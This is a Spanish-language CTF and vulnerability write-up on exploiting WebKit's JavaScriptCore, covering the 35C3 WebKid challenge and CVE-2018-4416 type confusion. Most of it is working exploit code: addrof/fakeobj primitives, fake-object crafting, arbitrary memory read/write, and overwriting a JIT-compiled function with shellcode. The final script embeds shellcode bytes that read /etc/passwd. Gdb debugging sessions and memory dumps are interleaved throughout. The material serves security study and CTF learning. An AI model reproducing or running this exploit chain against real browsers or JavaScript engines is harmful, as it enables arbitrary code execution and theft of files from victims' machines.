#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17
console.log(x[1]); // el valor se convertirá a enteros sin signo de 8 bits // 211 #+end_example
Se puede fusionar en un array de 16 bytes. Lo siguiente nos muestra que =Uint8Array= se almacena claramente en forma nativa, porque =0x0201= == =513=:
#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example
Las funciones restantes de =Int64= son simulaciones de diferentes operaciones. Puedes inferir sus implementaciones a partir de sus nombres y comentarios. Leer los códigos también es fácil.
** Escribiendo el Exploit :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** Detalle sobre el Script :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Agrego algunos comentarios del writeup original de Saelo (la mayoría de los comentarios siguen siendo su trabajo, ¡muchas gracias!):
#+begin_example const ITERATIONS = 100000;
// A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });
// Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;
// JIT compiler will install a watchpoint to discard the
// compiled code if the structure of |o| ever transitions
// (a heuristic for |o| being modified). As such, there
// won't be runtime checks in the generated code.
function helper() {
return o[0];
}
jitCompile(helper);
// This will take the newly added fast-path, changing the structure
// of |o| without the JIT code being deoptimized (because the structure
// of |o| didn't transition, |o| went "back" to an existing structure).
delete o.addrof_property;
// Now we are free to modify the structure of |o| any way we like,
// the JIT compiler won't notice (it's watching a now unrelated structure).
o[0] = {};
return function(obj) {
o[0] = obj;
return Int64.fromDouble(helper());
};
}
function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;
// Same as above, but write instead of reading from the array.
function helper(addr) {
o[0] = addr;
}
jitCompile(helper, 13.37);
delete o.fakeobj_property;
o[0] = {};
return function(addr) {
helper(addr.asDouble());
return o[0];
};
}
function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();
// verify basic exploit primitives work.
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
print('[+] exploit primitives working');
// from saelo: spray structures to be able to predict their IDs.
// var structs = []
// var i = 0;
// var abc = [13.37];
// abc.pointer = 1234;
// abc['prop' + i] = 13.37;
// structs.push(abc);
// var victim = structs[0];
//
// and the payload still work stablely. It seems this action is redundant
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var array = [13.37];
array.pointer = 1234;
array['prop' + i] = 13.37;
structs.push(array);
}
// take an array from somewhere in the middle so it is preceeded by non-null bytes which
// will later be treated as the butterfly length.
var victim = structs[0x800];
print(`[+] victim @ ${addrof(victim)}`);
// craft a fake object to modify victim
var flags_double_array = new Int64("0x0108200700001000").asJSValue();
var container = {
header: flags_double_array,
butterfly: victim
};
// create object having |victim| as butterfly.
var containerAddr = addrof(container);
print(`[+] container @ ${containerAddr}`);
// add the offset to let compiler recognize fake structure
var hax = fakeobj(Add(containerAddr, 0x10));
// origButterfly is now based on the offset of **victim**
// because it becomes the new butterfly pointer
// and hax[1] === victim.pointer
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// Write an int64 to the given address.
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
// Testing code, not related to exploit
var plainObj = {};
var header = memory.read64(addrof(plainObj));
memory.writeInt64(memory.addrof(container), header);
memory.test();
print("[+] limited memory read/write working");
// get targetd function
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
// change the JIT code to shellcode
// offset addjustment is a little bit complicated here :P
print(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
print(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
// var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // offset for debug builds
// final JIT Code address
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
print(`[+] JITCode @ ${jitCodeAddr}`);
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
shellcode.push(...strData.bytes());
// write shellcode
memory.write(jitCodeAddr, shellcode);
// trigger shellcode
var res = func();
var flag = s.split('\n')[0];
if (typeof(alert) !== 'undefined')
alert(flag);
print(flag);
}
if (typeof(window) === 'undefined') pwn(); #+end_example
** Conclusión sobre la explotación :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: Para concluir, el exploit utiliza dos primitivas de ataque muy importantes - =addrof= y =fakeobj= - para filtrar y fabricar. Se filtra una función JITed y se sobrescribe con nuestro arreglo =shellcode=. Luego llamamos a la función para filtrar la bandera. Casi todos los exploits de navegadores siguen esta forma.
Gracias, organizadores de 35C3 CTF especialmente a Saelo. Es un gran desafío para aprender la confusión de tipos en WebKit.
Solía intentar establecer puntos de interrupción para encontrar sus direcciones, pero esto es en realidad muy estúpido. /JSC/ tiene muchas funciones no estándar que pueden volcar información para nosotros (¡no puede usar la mayoría de ellas en /Safari/!): - =print()= y =debug()=: Como =console.log()= en /node.js/, enviará información a nuestra terminal. Sin embargo, =print= en /Safari/ usará una impresora real para imprimir documentos. - =describe()=: Describe un objeto. Podemos obtener la dirección, los miembros de la clase y la información relacionada a través de la función. - =describeArray()=: Similar a =describe()=, pero se centra en la información de /array/ de un objeto. - =readFile()=: Abre un archivo y obtiene el contenido. - =noDFG()= y =noFLT()=: Deshabilita algunos compiladores JIT.
** Establecimiento de puntos de interrupción :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: La forma más fácil de establecer puntos de interrupción es interrumpir una función no utilizada. Algo como =print= o =Array.prototype.slice([]);=. Ya que no sabemos si una función afectará a un PoC la mayoría de las veces, este método podría traer algún efecto secundario.
Establecer funciones vulnerables como nuestros puntos de interrupción también funciona. Cuando intenta entender una vulnerabilidad, romperlas será extremadamente importante. Pero sus pilas de llamadas pueden no ser agradables.
También podemos personalizar una función de depuración (use =int 3=) en el código fuente de WebKit. Definir, implementar y registrar nuestra función en =/Source/JavaScriptCore/jsc.cpp=. Nos ayuda a colgar WebKit en los depuradores:
#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src
Dado que el tercer método requiere modificar el código fuente, personalmente prefiero los dos primeros.
** Inspección de objetos de JSC :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: Bien, usamos este script:
#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))
print() #+end_example
Use nuestro gdb con gef para depurar; puede adivinar que interrumpiremos =print()=:
#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100
... // Some backtrace #+end_example
#+begin_quote La dirección del objeto y el puntero butterfly pueden variar en su máquina. Si editamos el script, la dirección también puede cambiar. Ajústelos según su salida. #+end_quote
Tendremos un primer vistazo al objeto y su puntero:
#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example
¿Qué pasa si lo cambiamos a flotante?
#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))
print() #+end_example
Usamos un pequeño truco aquí: =2261634.5098039214= se representa como =0x4141414141414141= en memoria. Encontrar el valor es más útil a través del número mágico (usamos el puntero butterfly directamente aquí). Por defecto, JSC llenará la memoria no utilizada con =0x00000000badbeef0=:
#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example
La disposición de la memoria es la misma que en la parte /JSC Object Model/, así que no lo repetiremos aquí.
** Obtención de código nativo :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: Ahora, es momento de obtener la función compilada. Desempeña un papel importante en la comprensión del compilador JSC y la explotación:
#+begin_example const ITERATIONS = 100000;
function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")
function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
func = makeJITCompiledFunction() debug(describe(func))
print() #+end_example
No es difícil si lee la sección anterior con cuidado. Ahora, deberíamos obtener su código nativo en el depurador:
#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example
Coloque su volcado de bytes en rasm2:
#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example
Emmmm... el código desensamblado es parcialmente incorrecto. Al menos podemos ver un borrador ahora.
Es una confusión de tipos. Ya que hablamos sobre /WebKid/, un desafío CTF similar que tiene un error de confusión de tipos, no será difícil de entender este. Cambie a la rama vulnerable y comience su viaje.
El PoC se proporciona al principio del artículo. Copie y pegue los archivos =int64.js=, =shellcode.js= y =utils.js= del repositorio de /WebKid/ a su máquina virtual.
** Causa raíz :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Cita de Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: La siguiente es la descripción de CVE-2018-4416 de /Lokihardt/, con mi resaltado parcial.
Cuando se ejecuta un bucle =for-in=, se crea un objeto =JSPropertyNameEnumerator= al principio y se usa para almacenar la información del objeto de entrada al bucle =for-in=. Dentro del bucle, el /ID de estructura/ del objeto "this" de cada expresión =get_by_id= que toma la variable de bucle como índice se compara con el =ID de estructura= almacenado en caché desde el objeto =JSPropertyNameEnumerator=. Si es el mismo, el objeto "this" de la expresión =get_by_id= se considerará que tiene la misma estructura que el objeto de entrada al bucle =for-in=.
El problema es que no tiene nada para evitar que la estructura de la cual se almacenó en caché el /ID de estructura/ se libere. Como los /IDs de estructura/ pueden reutilizarse después de que sus propietarios se liberan, esto puede llevar a /confusión de tipos/.
*** Explicación línea por línea :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: El comentario en =/* */= es mi análisis, que podría ser inexacto. El comentario después de =//= es de Lokihardt:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* This is abother target */
/* We want to confuse it(tmp) with obj(fake_object_memory) */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
/* Step 4 */
/* Change the structure of tmp to {} */
tmp.__proto__ = {};
gc();
/* The structure of obj is also {} now */
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
/* Step 5 */
/* Compiler believes obj and tmp share the same type now */
/* Thus, obj[k] will retrieve data from object with offset a */
/* In the patched version, it should be undefined */
return obj[k]; // Type confusion.
}
}
/* Step 0 / / Prepare structure {} */ opt({});
/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);
/* JSC crashed */ print(fake_object); #+end_example
*** Depuración :PROPERTIES: :CUSTOM_ID: debugging :END: Vamos a depurarlo para verificar nuestra idea. Modifico el PoC original para facilitar la depuración. Pero son casi idénticos excepto por =print()= adicional:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
debug("Confused Object: " + describe(obj));
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example
Luego =gdb ./jsc=, =b *printInternal=, y =r poc.js=. Podemos obtener:
#+begin_example ...
--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142
... #+end_example
Echemos un vistazo a nuestra dirección falsa. JSC es demasiado grande para encontrar su punto de interrupción soñado. Establezcamos un punto de vigilancia para rastrear su flujo en su lugar:
#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example
Obtenemos la salida esperada más tarde:
#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000
Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example
Pero ¿por qué aparece en =structureID=? Podemos obtener la respuesta de su disposición de memoria:
#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
tmp ({a: 1}):
0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000
0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000
#+end_exampleEntonces, el puntero de Uint32Array se devuelve como un objeto. Y m_structureID está al inicio de cada objeto JS. Dado que 0x1234 es el primer elemento de nuestro array, es razonable que structureID() lo recupere.
Ahora podemos usar los datos en Uint32Array para crear un objeto falso. ¡Genial!
** Construcción de primitivas de ataque
:PROPERTIES:
:CUSTOM_ID: constructing-attack-primitive
:END:
*** addrof
:PROPERTIES:
:CUSTOM_ID: addrof
:END:
Ahora, debemos crear un objeto válido. Elijo {} (un objeto vacío) como nuestro objetivo.
¿Cómo se ve un objeto vacío en memoria (ignorando scripting y depuración aquí)?
#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example
Bien, comienza con 0x010016000000008a. Podemos simularlo fácilmente en Uint32Array (recuerda pegar gc y opt aquí):
#+begin_example function gc() { ... // Igual que arriba }
function opt(obj) { ... // Igual que arriba }
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}
print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example
Se devuelven dos números misteriosos:
#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src
Obviamente, está en formato de puntero. ¡Ahora podemos filtrar cualquier objeto!
*** fakeobj
:PROPERTIES:
:CUSTOM_ID: fakeobj
:END:
Obtener un fakeobj es casi idéntico a crear addrof. La diferencia es que debes llenar una dirección en UInt32Array, luego obtener el objeto a través del atributo a en fake_object.
*** Lectura/Escritura Arbitraria y Ejecución de Shellcode
:PROPERTIES:
:CUSTOM_ID: arbitrary-rw-and-shellcode-execution
:END:
Es similar al script de explotación en el desafío WebKid. El script completo es demasiado largo para explicarlo línea por línea. Sin embargo, puedes encontrarlo [[/assets/CVE-2018-4416.js][aquí]]. Puede que necesites intentar alrededor de 10 rondas para explotarlo con éxito. Cuando tenga éxito, leerá tu /etc/passwd. Aquí está el código central:
#+begin_example // get compiled function var func = makeJITCompiledFunction();
function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) {
tmp.__proto__ = {};
gc();
obj.__proto__ = {};
// Compiler are misleaded that obj and tmp shared same type
return obj[k];
}
}
opt({});
// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);
debug(describe(fake_object))
// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }
// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }
// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }
addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');
// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;
var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }
// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)
// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b
var origButterfly = hax[1];
var memory = { addrof: addrof, fakeobj: fakeobj,
// Write an int64 to the given address.
// we change the butterfly of victim to addr + 0x10
// when victim change the pointer attribute, it will read butterfly - 0x10
// which equal to addr + 0x10 - 0x10 = addr
// read arbiutrary value is almost the same
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
memory.test(); debug("[+] limited memory read/write working");
// Get JIT code address
debug(describe(func))
var funcAddr = memory.addrof(func);
debug([+] shellcode function object @ ${funcAddr});
var executableAddr = memory.read64(Add(funcAddr, 24));
debug([+] executable instance @ ${executableAddr});
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug([+] JITCode instance @ ${jitCodeObjAddr});
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug([+] JITCode @ ${jitCodeAddr});
// Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]
var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);
// write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);
// trigger and get /etc/passwd func(); print() #+end_example